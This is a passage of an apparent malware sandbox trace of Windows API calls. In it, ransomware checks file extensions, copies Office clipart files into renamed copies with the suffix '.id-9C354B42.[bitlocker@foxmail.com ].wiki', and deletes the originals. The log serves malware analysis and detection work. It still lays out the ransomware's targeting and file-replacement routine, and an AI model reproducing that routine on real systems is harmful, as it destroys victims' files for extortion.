returned -1 [0063.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0063.569] lstrlenW (lpString=".dbf") returned 4 [0063.569] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0063.569] lstrlenW (lpString=".1cd") returned 4 [0063.569] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0063.569] lstrlenW (lpString=".jpg") returned 4 [0063.569] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.569] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0063.569] lstrlenW (lpString="BD09031_.WMF") returned 12 [0063.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.570] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=47786) returned 1 [0063.570] CloseHandle (hObject=0x1a4) returned 1 [0063.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf")) returned 0x20 [0063.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0063.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.570] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.570] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0063.570] GetLastError () returned 0x0 [0063.570] ReadFile (in: hFile=0x1a4, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0xbaaa, lpOverlapped=0x0) returned 1 [0063.574] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xbab0, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xbab0, lpOverlapped=0x0) returned 1 [0063.575] ReadFile (in: hFile=0x1a4, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.575] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0063.576] SetEndOfFile (hFile=0x20c) returned 1 [0063.576] CloseHandle (hObject=0x20c) returned 1 [0063.576] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.576] SetEndOfFile (hFile=0x1a4) returned 1 [0063.577] CloseHandle (hObject=0x1a4) returned 1 [0063.577] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0063.577] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf")) returned 1 [0063.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0063.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0063.577] lstrlenW (lpString=".doc") returned 4 [0063.577] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.577] lstrlenW (lpString=".docx") returned 5 [0063.578] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.578] lstrlenW (lpString=".pdf") returned 4 [0063.578] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.578] lstrlenW (lpString=".xls") returned 4 [0063.578] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.578] lstrlenW (lpString=".xlsx") returned 5 [0063.578] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.578] lstrlenW (lpString=".ppt") returned 4 [0063.578] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0063.578] lstrlenW (lpString=".zip") returned 4 [0063.578] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.578] lstrlenW (lpString=".rar") returned 4 [0063.578] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.578] lstrlenW (lpString=".bz2") returned 4 [0063.578] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.578] lstrlenW (lpString=".7z") returned 3 [0063.578] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0063.578] lstrlenW (lpString=".dbf") returned 4 [0063.578] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0063.578] lstrlenW (lpString=".1cd") returned 4 [0063.578] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0063.578] lstrlenW (lpString=".jpg") returned 4 [0063.578] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0063.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0063.578] lstrlenW (lpString=".doc") returned 4 [0063.578] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.578] lstrlenW (lpString=".docx") returned 5 [0063.578] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.578] lstrlenW (lpString=".pdf") returned 4 [0063.578] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.579] lstrlenW (lpString=".xls") returned 4 [0063.579] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.579] lstrlenW (lpString=".xlsx") returned 5 [0063.579] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.579] lstrlenW (lpString=".ppt") returned 4 [0063.579] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0063.579] lstrlenW (lpString=".zip") returned 4 [0063.579] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.579] lstrlenW (lpString=".rar") returned 4 [0063.579] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.579] lstrlenW (lpString=".bz2") returned 4 [0063.579] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.579] lstrlenW (lpString=".7z") returned 3 [0063.579] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0063.579] lstrlenW (lpString=".dbf") returned 4 [0063.579] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0063.579] lstrlenW (lpString=".1cd") returned 4 [0063.579] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0063.579] lstrlenW (lpString=".jpg") returned 4 [0063.579] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.579] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0063.579] lstrlenW (lpString="BD09194_.WMF") returned 12 [0063.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.580] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=14540) returned 1 [0063.580] CloseHandle (hObject=0x1a4) returned 1 [0063.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf")) returned 0x20 [0063.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0063.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.580] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.580] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0063.580] GetLastError () returned 0x0 [0063.580] ReadFile (in: hFile=0x1a4, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x38cc, lpOverlapped=0x0) returned 1 [0063.711] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x38d0, lpOverlapped=0x0) returned 1 [0063.712] ReadFile (in: hFile=0x1a4, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.712] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0063.712] SetEndOfFile (hFile=0x20c) returned 1 [0063.850] CloseHandle (hObject=0x20c) returned 1 [0063.851] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.851] SetEndOfFile (hFile=0x1a4) returned 1 [0063.852] CloseHandle (hObject=0x1a4) returned 1 [0063.852] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0063.852] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf")) returned 1 [0064.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0064.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0064.214] lstrlenW (lpString=".doc") returned 4 [0064.214] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.214] lstrlenW (lpString=".docx") returned 5 [0064.214] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.214] lstrlenW (lpString=".pdf") returned 4 [0064.214] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.214] lstrlenW (lpString=".xls") returned 4 [0064.215] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.215] lstrlenW (lpString=".xlsx") returned 5 [0064.215] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.215] lstrlenW (lpString=".ppt") returned 4 [0064.215] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0064.215] lstrlenW (lpString=".zip") returned 4 [0064.215] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.215] lstrlenW (lpString=".rar") returned 4 [0064.215] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.215] lstrlenW (lpString=".bz2") returned 4 [0064.215] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.215] lstrlenW (lpString=".7z") returned 3 [0064.215] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0064.215] lstrlenW (lpString=".dbf") returned 4 [0064.215] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0064.215] lstrlenW (lpString=".1cd") returned 4 [0064.215] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0064.215] lstrlenW (lpString=".jpg") returned 4 [0064.215] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0064.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0064.215] lstrlenW (lpString=".doc") returned 4 [0064.215] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.215] lstrlenW (lpString=".docx") returned 5 [0064.215] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.215] lstrlenW (lpString=".pdf") returned 4 [0064.215] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.215] lstrlenW (lpString=".xls") returned 4 [0064.215] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.216] lstrlenW (lpString=".xlsx") returned 5 [0064.216] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.216] lstrlenW (lpString=".ppt") returned 4 [0064.216] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0064.216] lstrlenW (lpString=".zip") returned 4 [0064.216] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.216] lstrlenW (lpString=".rar") returned 4 [0064.216] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.216] lstrlenW (lpString=".bz2") returned 4 [0064.216] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.216] lstrlenW (lpString=".7z") returned 3 [0064.216] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0064.216] lstrlenW (lpString=".dbf") returned 4 [0064.216] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0064.216] lstrlenW (lpString=".1cd") returned 4 [0064.216] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0064.216] lstrlenW (lpString=".jpg") returned 4 [0064.216] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.216] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0064.216] lstrlenW (lpString="BD19695_.WMF") returned 12 [0064.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0065.217] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=12982) returned 1 [0065.218] CloseHandle (hObject=0x218) returned 1 [0065.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf")) returned 0x20 [0065.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0065.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0065.226] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.227] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0065.234] GetLastError () returned 0x0 [0065.235] ReadFile (in: hFile=0x218, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x32b6, lpOverlapped=0x0) returned 1 [0065.258] WriteFile (in: hFile=0x220, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x32c0, lpOverlapped=0x0) returned 1 [0065.278] ReadFile (in: hFile=0x218, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0065.280] WriteFile (in: hFile=0x220, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0065.282] SetEndOfFile (hFile=0x220) returned 1 [0065.285] CloseHandle (hObject=0x220) returned 1 [0065.288] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.289] SetEndOfFile (hFile=0x218) returned 1 [0065.307] CloseHandle (hObject=0x218) returned 1 [0065.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0065.313] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf")) returned 1 [0065.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0065.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0065.320] lstrlenW (lpString=".doc") returned 4 [0065.320] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.320] lstrlenW (lpString=".docx") returned 5 [0065.322] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.322] lstrlenW (lpString=".pdf") returned 4 [0065.324] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.325] lstrlenW (lpString=".xls") returned 4 [0065.326] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.327] lstrlenW (lpString=".xlsx") returned 5 [0065.327] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.328] lstrlenW (lpString=".ppt") returned 4 [0065.329] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0065.331] lstrlenW (lpString=".zip") returned 4 [0065.332] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.333] lstrlenW (lpString=".rar") returned 4 [0065.333] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.334] lstrlenW (lpString=".bz2") returned 4 [0065.335] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.335] lstrlenW (lpString=".7z") returned 3 [0065.336] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0065.337] lstrlenW (lpString=".dbf") returned 4 [0065.337] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0065.338] lstrlenW (lpString=".1cd") returned 4 [0065.338] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0065.340] lstrlenW (lpString=".jpg") returned 4 [0065.341] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0065.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0065.341] lstrlenW (lpString=".doc") returned 4 [0065.341] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.341] lstrlenW (lpString=".docx") returned 5 [0065.341] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.341] lstrlenW (lpString=".pdf") returned 4 [0065.341] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.341] lstrlenW (lpString=".xls") returned 4 [0065.341] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.341] lstrlenW (lpString=".xlsx") returned 5 [0065.341] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.341] lstrlenW (lpString=".ppt") returned 4 [0065.341] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0065.341] lstrlenW (lpString=".zip") returned 4 [0065.341] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.341] lstrlenW (lpString=".rar") returned 4 [0065.341] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.341] lstrlenW (lpString=".bz2") returned 4 [0065.341] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.341] lstrlenW (lpString=".7z") returned 3 [0065.341] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0065.341] lstrlenW (lpString=".dbf") returned 4 [0065.341] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0065.341] lstrlenW (lpString=".1cd") returned 4 [0065.341] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0065.341] lstrlenW (lpString=".jpg") returned 4 [0065.342] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.342] lstrcmpiW 